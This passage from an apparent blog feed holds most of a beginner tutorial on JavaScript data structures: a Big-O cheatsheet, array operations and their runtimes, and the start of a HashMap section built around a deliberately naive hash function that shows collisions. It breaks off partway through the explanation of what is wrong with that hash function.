  https://betterdev.link/issues/54
-->
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;In this post, we are going to explore non-linear data structures like graphs. Also, we’ll cover the central concepts and typical applications.&lt;/p&gt;
&lt;p&gt;You are probably using programs with graphs and trees. For instance, let’s say that you want to know the shortest path between your workplace and home. You can use graph algorithms to get the answer! We are going to look into this and other fun challenges.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/coding/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>Data Structures in JavaScript: Arrays, HashMaps, and Lists</title>
    <link href="https://adrianmejia.com/Data-Structures-Time-Complexity-for-Beginners-Arrays-HashMaps-Linked-Lists-Stacks-Queues-tutorial/"/>
    <id>https://adrianmejia.com/Data-Structures-Time-Complexity-for-Beginners-Arrays-HashMaps-Linked-Lists-Stacks-Queues-tutorial/</id>
    <published>2018-04-28T23:20:40.000Z</published>
    <updated>2020-12-15T23:46:40.000Z</updated>
    
    <content type="html"><![CDATA[<p>When we are developing software, we have to store data in memory. However, many types of data structures, such as arrays, maps, sets, lists, trees, graphs, etc., and choosing the right one for the task can be tricky. This series of posts will help you know the trade-offs so that you can use the right tool for the job!</p>
<a id="more"></a>

<p>This section will focus on linear data structures: Arrays, Lists, Sets, Stacks, and Queues.</p>
<p>You can find all these implementations and more in the Github repo:
<a href="https://github.com/amejiarosario/dsa.js">https://github.com/amejiarosario/dsa.js</a></p>
<hr>
<p>This post is part of a tutorial series:</p>
<p><strong>Learning Data Structures and Algorithms (DSA) for Beginners</strong></p>
<ol>
<li><p><a href="/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/">Intro to algorithm’s time complexity and Big O notation</a></p>
</li>
<li><p><a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">Eight time complexities that every programmer should know</a></p>
</li>
<li><p>Data Structures for Beginners: Arrays, HashMaps, and Lists <strong>👈 you are here</strong></p>
</li>
<li><p><a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">Graph Data Structures for Beginners</a></p>
</li>
<li><p><a href="/blog/2018/06/11/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/">Trees Data Structures for Beginners</a></p>
</li>
<li><p><a href="/blog/2018/07/16/Self-balanced-Binary-Search-Trees-with-AVL-tree-Data-Structure-for-beginners/">Self-balanced Binary Search Trees</a></p>
</li>
<li><p><a href="/blog/2018/04/24/Analysis-of-Recursive-Algorithms/">Appendix I: Analysis of Recursive Algorithms</a></p>
</li>
</ol>
<hr>
<h2 id="Data-Structures-Big-O-Cheatsheet"><a href="#Data-Structures-Big-O-Cheatsheet" class="headerlink" title="Data Structures Big-O Cheatsheet"></a>Data Structures Big-O Cheatsheet</h2><p>The following table is a summary of everything that we are going to cover.</p>
<blockquote>
<p>Bookmark it, pin it, or share it, so you have it at hand when you need it.</p>
</blockquote>
<p><em>Click on the <strong>name</strong> to go to the section or click on the <strong>runtime</strong> to go to the implementation</em></p>
<p><code>*</code> = Amortized runtime</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Insert</th>
<th>Access</th>
<th>Search</th>
<th>Delete</th>
<th>Comments</th>
</tr>
</thead>
<tbody><tr>
<td><a href="#Array">Array</a></td>
<td><a href="#Insert-element-on-an-array">O(n)</a></td>
<td><a href="#Access-an-element-in-an-array">O(1)</a></td>
<td><a href="#Search-an-element-in-an-array">O(n)</a></td>
<td><a href="#Deleting-elements-from-an-array">O(n)</a></td>
<td>Insertion to the end is <code>O(1)</code>. <a href="#Array-operations-time-complexity">Details here.</a></td>
</tr>
<tr>
<td><a href="#HashMaps">HashMap</a></td>
<td><a href="#Insert-element-on-a-HashMap-runtime">O(1)</a></td>
<td><a href="#Search-Access-an-element-on-a-HashMap-runtime">O(1)</a></td>
<td><a href="#Search-Access-an-element-on-a-HashMap-runtime">O(1)</a></td>
<td><a href="#Edit-Delete-element-on-a-HashMap-runtime">O(1)</a></td>
<td>Rehashing might affect insertion time. <a href="#HashMap-operations-time-complexity">Details here.</a></td>
</tr>
<tr>
<td>Map (using Binary Search Tree)</td>
<td>O(log(n))</td>
<td>-</td>
<td>O(log(n))</td>
<td>O(log(n))</td>
<td>Implemented using Binary Search Tree</td>
</tr>
<tr>
<td><a href="#Sets">Set (using HashMap)</a></td>
<td><a href="#Set-Implementation">O(1)</a></td>
<td>-</td>
<td><a href="#Set-Implementation">O(1)</a></td>
<td><a href="#Set-Implementation">O(1)</a></td>
<td>Set using a HashMap implementation. <a href="#Set-Operations-runtime">Details here.</a></td>
</tr>
<tr>
<td>Set (using list)</td>
<td><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-set.prototype.add">O(n)</a></td>
<td>-</td>
<td><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-set.prototype.has">O(n)</a></td>
<td><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-set.prototype.delete">O(n)</a></td>
<td>Implemented using Binary Search Tree</td>
</tr>
<tr>
<td>Set (using Binary Search Tree)</td>
<td>O(log(n))</td>
<td>-</td>
<td>O(log(n))</td>
<td>O(log(n))</td>
<td>Implemented using Binary Search Tree</td>
</tr>
<tr>
<td><a href="#Singly-Linked-Lists">Linked List (singly)</a></td>
<td><a href="#SinglyLinkedList.addLast">O(n)</a></td>
<td>-</td>
<td><a href="#LinkedList.contains">O(n)</a></td>
<td><a href="#LinkedList.remove">O(n)</a></td>
<td>Adding/Removing to the start of the list is <code>O(1)</code>. <a href="#Singly-Linked-Lists-time-complexity">Details here</a>.</td>
</tr>
<tr>
<td><a href="#Doubly-Linked-Lists">Linked List (doubly)</a></td>
<td><a href="#DoublyLinkedList.add">O(n)</a></td>
<td>-</td>
<td><a href="#LinkedList.contains">O(n)</a></td>
<td><a href="#LinkedList.remove">O(n)</a></td>
<td>Adding/Deleting from the beginning/end is <code>O(1)</code>. But, deleting/adding from the middle is <code>O(n)</code>. <a href="#Doubly-Linked-Lists-time-complexity">Details here</a></td>
</tr>
<tr>
<td><a href="#Stacks">Stack (array implementation)</a></td>
<td><a href="#Stacks">O(1)</a></td>
<td>-</td>
<td>-</td>
<td><a href="#Stacks">O(1)</a></td>
<td>Insert/delete is last-in, first-out (LIFO)</td>
</tr>
<tr>
<td><a href="#QueueNaiveImpl">Queue (naïve array impl.)</a></td>
<td><a href="#QueueNaiveImpl">O(1)</a></td>
<td>-</td>
<td>-</td>
<td><a href="#QueueNaiveImpl">O(n)</a></td>
<td>Remove (<code>Array.shift</code>) is <em>O(n)</em></td>
</tr>
<tr>
<td><a href="#QueueArrayImpl">Queue (array implementation)</a></td>
<td><a href="#QueueArrayImpl">O(1)</a></td>
<td>-</td>
<td>-</td>
<td><a href="#QueueArrayImpl">O(1)</a></td>
<td>Worst time insert is O(n). However amortized is O(1)</td>
</tr>
<tr>
<td><a href="#QueueListImpl">Queue (list implementation)</a></td>
<td><a href="#QueueListImpl">O(1)</a></td>
<td>-</td>
<td>-</td>
<td><a href="#QueueListImpl">O(1)</a></td>
<td>Using Doubly Linked List with reference to the last element.</td>
</tr>
</tbody></table>
<p>Note: <strong>Binary search trees</strong> and trees, in general, will be cover in the next post. Also, graph data structures.</p>
<h2 id="Primitive-Data-Types"><a href="#Primitive-Data-Types" class="headerlink" title="Primitive Data Types"></a>Primitive Data Types</h2><p>Primitive data types are the most basic elements, where all the other data structures are built upon. Some primitives are:</p>
<ul>
<li>Integers. E.g., <code>1</code>, <code>2</code>, <code>3</code>, …</li>
<li>Characters. E.g., <code>a</code>, <code>b</code>, <code>&quot;1&quot;</code>, <code>&quot;*&quot;</code></li>
<li>Booleans. E.g., <code>true</code> or <code>false</code>.</li>
<li>Float (floating points) or doubles. E.g., <code>3.14159</code>, <code>1483e-2</code>.</li>
<li>Null values. E.g. <code>null</code></li>
</ul>
<p>JavaScript specific primitives:</p>
<ul>
<li><code>undefined</code></li>
<li><code>Symbol</code></li>
<li><code>Number</code></li>
</ul>
<p><em>Note</em>: Objects are not primitive since they are composed of zero or more primitives and other objects.</p>
<h2 id="Array"><a href="#Array" class="headerlink" title="Array"></a>Array</h2><p>Arrays are collections of zero or more elements. Arrays are one of the most used data structures because of their simplicity and fast way of retrieving information.</p>
<p>You can think of an array as a drawer where you can store things in the bins.</p>
<p><strong>Array is like a drawer that stores things on bins</strong></p>
<img src="/images/array-drawer.jpg" class="" title="Array is like a drawer that stores things on bins">


<p>When you want to search for something, you can go directly to the bin number. That’s a constant time operation (<em><code>O(1)</code></em>). However, if you forgot what cabinet had, you will have to open one by one (<em><code>O(n)</code></em>) to verify its content until you find what you are looking for. That same happens with an array.</p>
<!-- http://apprize.info/javascript/20lessons/20lessons.files/image052.jpg -->
<!-- https://cdn2.iconfinder.com/data/icons/furniture-12/48/drawer-cabinet-closet-shelf-cabin-cupboard-furntiure-512.png -->

<p>Depending on the programming language, arrays have some differences. For some dynamic languages like JavaScript and Ruby, an array can contain different data types: numbers, strings, words, objects, and even functions. In typed languages like Java/C/C++, you have to predefine the Array size and the data type. In JavaScript, it would automatically increase the size of the Array when needed.</p>
<h3 id="Arrays-built-in-operations"><a href="#Arrays-built-in-operations" class="headerlink" title="Arrays built-in operations"></a>Arrays built-in operations</h3><p>Depending on the programming language, the implementation would be slightly different.</p>
<p>For instance, in JavaScript, we can accomplish append to end with <code>push</code> and append to the beginning with <code>unshift</code>. But also, we have <code>pop</code> and <code>shift</code> to remove from an array. Let’s describe some everyday operations that we are going to use through this post.</p>
<p><strong>Common JS Array built-in functions</strong></p>
<table>
<thead>
<tr>
<th>Function</th>
<th>Runtime</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push">array.push</a></td>
<td>O(1)</td>
<td>Insert element to the end of the array</td>
</tr>
<tr>
<td><a href="http://devdocs.io/javascript/global_objects/array/pop">array.pop</a></td>
<td>O(1)</td>
<td>Remove element to the end of the array</td>
</tr>
<tr>
<td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift">array.shift</a></td>
<td>O(n)</td>
<td>Remove element to the beginning of the array</td>
</tr>
<tr>
<td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift">array.unshift</a></td>
<td>O(n)</td>
<td>Insert element(s) to the beginning of the array</td>
</tr>
<tr>
<td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice">array.slice</a></td>
<td>O(n)</td>
<td>Returns a copy of the array from <code>beginning</code> to <code>end</code>.</td>
</tr>
<tr>
<td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">array.splice</a></td>
<td>O(n)</td>
<td>Changes (add/remove) the array</td>
</tr>
</tbody></table>
<h3 id="Insert-element-on-an-array"><a href="#Insert-element-on-an-array" class="headerlink" title="Insert element on an array"></a>Insert element on an array</h3><!-- https://stackoverflow.com/a/22615787/684957 -->
<!-- https://tc39.github.io/ecma262/#sec-array.prototype.push -->
<!-- https://github.com/v8/v8/blob/master/src/js/array.js -->
<!-- https://github.com/v8/v8/blob/master/src/builtins/builtins-array.cc#L145 -->
<!-- https://tc39.github.io/ecma262/#sec-array.prototype.unshift -->

<p>There are multiple ways to insert elements into an array. You can append new data to the end or add it to the beginning of the collection.</p>
<p>Let’s start with append to tail:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">insertToTail</span>(<span class="params">array, element</span>) </span>&#123;</span><br><span class="line">  array.push(element);</span><br><span class="line">  <span class="keyword">return</span> array;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> array = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="built_in">console</span>.log(insertToTail(array, <span class="number">4</span>)); <span class="comment">// =&gt; [ 1, 2, 3, 4 ]</span></span><br></pre></td></tr></table></figure>

<p>Based on the <a href="https://tc39.github.io/ecma262/#sec-array.prototype.push">language specification</a>, push just set the new value at the end of the Array. Thus,</p>
<blockquote>
<p>The <code>Array.push</code> runtime is a <em>O(1)</em></p>
</blockquote>
<p>Let’s now try appending to head:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">insertToHead</span>(<span class="params">array, element</span>) </span>&#123;</span><br><span class="line">  array.unshift(element);</span><br><span class="line">  <span class="keyword">return</span> array;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> array = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="built_in">console</span>.log(insertToHead(array, <span class="number">0</span>)); <span class="comment">// =&gt; [ 0, 1, 2, 3 ]</span></span><br></pre></td></tr></table></figure>

<p>What do you think is the runtime of the <code>insertToHead</code> function? It looks the same as the previous one, except that we are using <code>unshift</code> instead of <code>push</code>. But there’s a catch! <a href="https://tc39.github.io/ecma262/#sec-array.prototype.unshift">unshift algorithm</a> makes room for the new element by moving all existing ones to the next position in the Array. So, it will iterate through all the elements.</p>
<blockquote>
<p>The <code>Array.unshift</code> runtime is an <em>O(n)</em></p>
</blockquote>
<h3 id="Access-an-element-in-an-array"><a href="#Access-an-element-in-an-array" class="headerlink" title="Access an element in an array"></a>Access an element in an array</h3><p>If you know the index for the element that you are looking for, then you can access the element directly like this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">access</span>(<span class="params">array, index</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> array[index];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> array = [<span class="number">1</span>, <span class="string">&#x27;word&#x27;</span>, <span class="number">3.14</span>, &#123;<span class="attr">a</span>: <span class="number">1</span>&#125;];</span><br><span class="line">access(array, <span class="number">0</span>); <span class="comment">// =&gt; 1</span></span><br><span class="line">access(array, <span class="number">3</span>); <span class="comment">// =&gt; &#123;a: 1&#125;</span></span><br></pre></td></tr></table></figure>

<p>As you can see in the code above, accessing an element on an array has a constant time:</p>
<blockquote>
<p>Array access runtime is  <em>O(1)</em></p>
</blockquote>
<p><em>Note: You can also change any value at a given index in constant time.</em></p>
<h3 id="Search-an-element-in-an-array"><a href="#Search-an-element-in-an-array" class="headerlink" title="Search an element in an array"></a>Search an element in an array</h3><p>Suppose you don’t know the index of the data that you want from an array. You have to iterate through each element on the Array until we find what we are looking for.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">search</span>(<span class="params">array, element</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> index = <span class="number">0</span>; index &lt; array.length; index++) &#123;</span><br><span class="line">    <span class="keyword">if</span>(element === array[index]) &#123;</span><br><span class="line">      <span class="keyword">return</span> index;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> array = [<span class="number">1</span>, <span class="string">&#x27;word&#x27;</span>, <span class="number">3.14</span>, &#123;<span class="attr">a</span>: <span class="number">1</span>&#125;];</span><br><span class="line"><span class="built_in">console</span>.log(search(array, <span class="string">&#x27;word&#x27;</span>)); <span class="comment">// =&gt; 1</span></span><br><span class="line"><span class="built_in">console</span>.log(search(array, <span class="number">3.14</span>)); <span class="comment">// =&gt; 2</span></span><br></pre></td></tr></table></figure>

<p>Given the for-loop, we have:</p>
<blockquote>
<p>Array search runtime is <em>O(n)</em></p>
</blockquote>
<h3 id="Deleting-elements-from-an-array"><a href="#Deleting-elements-from-an-array" class="headerlink" title="Deleting elements from an array"></a>Deleting elements from an array</h3><p>What do you think is the running time of deleting an element from an array?</p>
<p>Well, let’s think about the different cases:</p>
<ol>
<li>You can delete from the end of the Array, which might be constant time. <em>O(1)</em></li>
<li>However, you can also remove it from the beginning or middle of the collection. In that case, you would have to move all the following elements to close the gap. <em>O(n)</em></li>
</ol>
<p>Talk is cheap. Let’s do the code!</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">remove</span>(<span class="params">array, element</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> index = search(array, element);</span><br><span class="line">  array.splice(index, <span class="number">1</span>);</span><br><span class="line">  <span class="keyword">return</span> array;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> array1 = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="built_in">console</span>.log(remove(array1, <span class="number">1</span>)); <span class="comment">// =&gt; [ 0, 2, 3 ]</span></span><br></pre></td></tr></table></figure>

<p>So we are using our <code>search</code> function to find the elements’ index <em>O(n)</em>. Then we use the <a href="https://tc39.github.io/ecma262/#sec-array.prototype.splice">JS built-in <code>splice</code></a> function, which has a running time of <em>O(n)</em>. What’s the total <em>O(2n)</em>? Remember, we constants don’t matter as much.</p>
<p>We take the worst-case scenario:</p>
<blockquote>
<p>Deleting an item from an array is <em>O(n)</em>.</p>
</blockquote>
<h3 id="Array-operations-time-complexity"><a href="#Array-operations-time-complexity" class="headerlink" title="Array operations time complexity"></a>Array operations time complexity</h3><p>We can sum up the arrays time complexity as follows:</p>
<p><strong>Array Time Complexities</strong></p>
<table>
<thead>
<tr>
<th>Operation</th>
<th>Worst</th>
</tr>
</thead>
<tbody><tr>
<td>Access (<code>Array.[]</code>)</td>
<td><em><code>O(1)</code></em></td>
</tr>
<tr>
<td>Insert head (<code>Array.unshift</code>)</td>
<td><em><code>O(n)</code></em></td>
</tr>
<tr>
<td>Insert tail (<code>Array.push</code>)</td>
<td><em><code>O(1)</code></em></td>
</tr>
<tr>
<td>Search (for value)</td>
<td><em><code>O(n)</code></em></td>
</tr>
<tr>
<td>Delete (<code>Array.splice</code>)</td>
<td><em><code>O(n)</code></em></td>
</tr>
</tbody></table>
<h2 id="HashMaps"><a href="#HashMaps" class="headerlink" title="HashMaps"></a>HashMaps</h2><!-- https://en.wikipedia.org/wiki/Hash_table -->
<!-- https://en.wikipedia.org/wiki/Associative_array -->
<!-- https://medium.com/front-end-hacking/es6-map-vs-object-what-and-when-b80621932373 -->

<p>Maps, dictionaries, and associative arrays all describe the same abstract data type. But hash map implementations are distinct from treemap implementations in that one uses a hash table and one uses a binary search tree.</p>
<blockquote>
<p>Hashtable is a data structure that <strong>maps</strong> keys to values</p>
</blockquote>
<p>Going back to the drawer analogy, bins have a label rather than a number.</p>
<p><strong>HashMap is like a drawer that stores things on bins and labels them</strong></p>
<img src="/images/hashmap-drawer.jpg" class="" title="HashMap is like a drawer that stores things on bins and labels them">

<p>In this example, if you are looking for the book, you don’t have to open bin 1, 2, and 3. You go directly to the container labeled as “books”. That’s a huge gain! Search time goes from <em>O(n)</em> to <em>O(1)</em>.</p>
<p>In arrays, the data is referenced using a numeric index (relatively to the position). However, HashMaps uses labels that could be a string, number, Object, or anything. Internally, the HashMap uses an Array, and it maps the labels to array indexes using a <em>hash function</em>.</p>
<!-- http://apprize.info/javascript/20lessons/20lessons.files/image052.jpg -->

<p>There are at least two ways to implement hashmap:</p>
<ol>
<li><strong>Array</strong>: Using a hash function to map a key to the array index value. Worst: <code>O(n)</code>, Average: <code>O(1)</code></li>
<li><strong>Binary Search Tree</strong>: using a self-balancing binary search tree to look up for values (more on this later). Worst: <em><code>O(log n)</code></em>, Average: <em><code>O(log n)</code></em>.</li>
</ol>
<p>We will cover Trees &amp; Binary Search Trees, so don’t worry about it for now. The most common implementation of Maps is using an <strong>array</strong> and <code>hash</code> function. So, that’s the one we are going to focus on.</p>
<p><strong>HashMap implemented with an array</strong></p>
<img src="/images/hash-map.jpg" class="" title="HashMap: hash function translates keys into bucket (array) indexes">

<p>As you can see in the image, each key gets translated into a <strong>hash code</strong>. Since the array size is limited (e.g., 10), we have to loop through the available buckets using the modulus function. In the buckets, we store the key/value pair, and if there’s more than one, we use a collection to hold them.</p>
<p>Now, What do you think about covering each of the HashMap components in detail? Let’s start with the <strong>hash function</strong>.</p>
<h3 id="HashMap-vs-Array"><a href="#HashMap-vs-Array" class="headerlink" title="HashMap vs. Array"></a>HashMap vs. Array</h3><p>Why go through the trouble of converting the key into an index and not using an array directly, you might ask. The main difference is that Array’s index doesn’t have any relationship with the data. You have to know where your data is.</p>
<p>Let’s say you want to count how many times words are used in a text. How would you implement that?</p>
<ol>
<li>You can use two arrays (let’s call it <code>A</code> and <code>B</code>). One for storing the word and another for storing how many times they have seen (frequency).</li>
<li>You can use a HashMap. They <em><code>key</code></em> is the word, and the <em><code>value</code></em> is the word’s frequency.</li>
</ol>
<p>What is the runtime of approach #1 using <strong>two arrays</strong>? If we say, the number of words in the text is <em><code>n</code></em>. Then we have to <code>search</code> if the word in the array <code>A</code>  and then increment the value on array <code>B</code> matching that index. For every word on <code>n</code>, we have to test if it’s already on array <code>A</code>. This double loop leave use with a runtime of <code>O(n<sup>2</sup>)</code>.</p>
<p>What is the runtime of approach #2 using a <strong>HashMap</strong>? We iterate through each word on the text once and increment the value if there is something there or set it to 1 if that word is seen for the first time. The runtime would be <code>O(n)</code>, which is much more performant than approach #1.</p>
<p>Differences between HashMap and Array</p>
<ul>
<li>Search on an array is <em>O(n)</em> while on a HashMap is <em>O(1)</em></li>
<li>Arrays can have duplicate values, while HashMap cannot have duplicated keys (but they can have identical values.)</li>
<li>The Array has a key (index) that is always a number from 0 to max value, while in a HashMap, you have control of the key, and it can be whatever you want: number, string, or symbol.</li>
</ul>
<h3 id="Hash-Function"><a href="#Hash-Function" class="headerlink" title="Hash Function"></a>Hash Function</h3><p>The first step to implement a HashMap is to have a hash function. This function will map every key to its value.</p>
<blockquote>
<p>The <strong>perfect hash function</strong> is the one that for every key, it assigns a unique index.</p>
</blockquote>
<p>Ideal hashing algorithms allow <em>constant time</em> access/lookup. However, it’s hard to achieve a perfect hashing function in practice. You might have the case where two different keys yields on the same index, causing a <em>collision</em>.</p>
<p>Collisions in HashMaps are unavoidable when using an array-like underlying data structure. At some point, data that can’t fit in a HashMap will reuse data slots. One way to deal with collisions is to store multiple values in the same bucket using a linked list or another array (more on this later). When we try to access the key’s value and found various values, we iterate over the values <em>O(n)</em>. However, in most implementations, the hash adjusts the size dynamically to avoid too many collisions. We can say that the <strong>amortized</strong> lookup time is <em>O(1)</em>. We are going to explain what we mean by amortized runtime later in this post with an example.</p>
<h3 id="Naive-HashMap-implementation"><a href="#Naive-HashMap-implementation" class="headerlink" title="Naïve HashMap implementation"></a>Naïve HashMap implementation</h3><p><a id="NaiveHashMap"></a>
A simple (and bad) hash function would be this one:</p>
<figure class="highlight js"><figcaption><span>Naive HashMap Implementation</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/maps/hash-maps/hash-map-1.js">full code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">NaiveHashMap</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">constructor</span>(initialCapacity = 2) &#123;</span><br><span class="line">    <span class="built_in">this</span>.buckets = <span class="keyword">new</span> <span class="built_in">Array</span>(initialCapacity);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  set(key, value) &#123;</span><br><span class="line">    <span class="keyword">const</span> index = <span class="built_in">this</span>.getIndex(key);</span><br><span class="line">    <span class="built_in">this</span>.buckets[index] = value;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  get(key) &#123;</span><br><span class="line">    <span class="keyword">const</span> index = <span class="built_in">this</span>.getIndex(key);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.buckets[index];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  hash(key) &#123;</span><br><span class="line marked">    <span class="keyword">return</span> key.toString().length;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  getIndex(key) &#123;</span><br><span class="line">    <span class="keyword">const</span> indexHash = <span class="built_in">this</span>.hash(key);</span><br><span class="line marked">    <span class="keyword">const</span> index = indexHash % <span class="built_in">this</span>.buckets.length;</span><br><span class="line">    <span class="keyword">return</span> index;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We are using <code>buckets</code> rather than drawer/bins, but you get the idea :)</p>
<p>We have an initial capacity of 2 (two buckets). But, we want to store any number of elements on them. We use modulus <code>%</code> to loop through the number of available buckets.</p>
<p>Take a look at our hash function in line 18. We are going to talk about it in a bit. First, let’s use our new HashMap!</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Usage:</span></span><br><span class="line"><span class="keyword">const</span> assert = <span class="built_in">require</span>(<span class="string">&#x27;assert&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> hashMap = <span class="keyword">new</span> NaiveHashMap();</span><br><span class="line"></span><br><span class="line">hashMap.set(<span class="string">&#x27;cat&#x27;</span>, <span class="number">2</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;rat&#x27;</span>, <span class="number">7</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;dog&#x27;</span>, <span class="number">1</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;art&#x27;</span>, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(hashMap.buckets);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">  bucket #0: &lt;1 empty item&gt;,</span></span><br><span class="line"><span class="comment">  bucket #1: 8</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line">assert.equal(hashMap.get(<span class="string">&#x27;art&#x27;</span>), <span class="number">8</span>); <span class="comment">// this one is ok</span></span><br><span class="line">assert.equal(hashMap.get(<span class="string">&#x27;cat&#x27;</span>), <span class="number">8</span>); <span class="comment">// got overwritten by art 😱</span></span><br><span class="line">assert.equal(hashMap.get(<span class="string">&#x27;rat&#x27;</span>), <span class="number">8</span>); <span class="comment">// got overwritten by art 😱</span></span><br><span class="line">assert.equal(hashMap.get(<span class="string">&#x27;dog&#x27;</span>), <span class="number">8</span>); <span class="comment">// got overwritten by art 😱</span></span><br></pre></td></tr></table></figure>

<p>This <code>Map</code> allows us to <code>set</code> a key and a value and then <code>get</code> the value using a <code>key</code>. The key part is the <code>hash</code> function. Let’s see multiple implementations to see how it affects the Map’s performance.</p>
<p>Can you tell what’s wrong with <code>NaiveHashMap</code> before expanding the answer below?</p>
<details>
 <summary>What is wrong with `NaiveHashMap` is that...</summary>

<p><br><br>
<strong>1)</strong> <strong>Hash function</strong> generates many duplicates. E.g.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hash(<span class="string">&#x27;cat&#x27;</span>) <span class="comment">// 3</span></span><br><span class="line">hash(<span class="string">&#x27;dog&#x27;</span>) <span class="comment">// 3</span></span><br></pre></td></tr></table></figure>
<p>This hash implementation will cause a lot of collisions.</p>
<p><br><br>
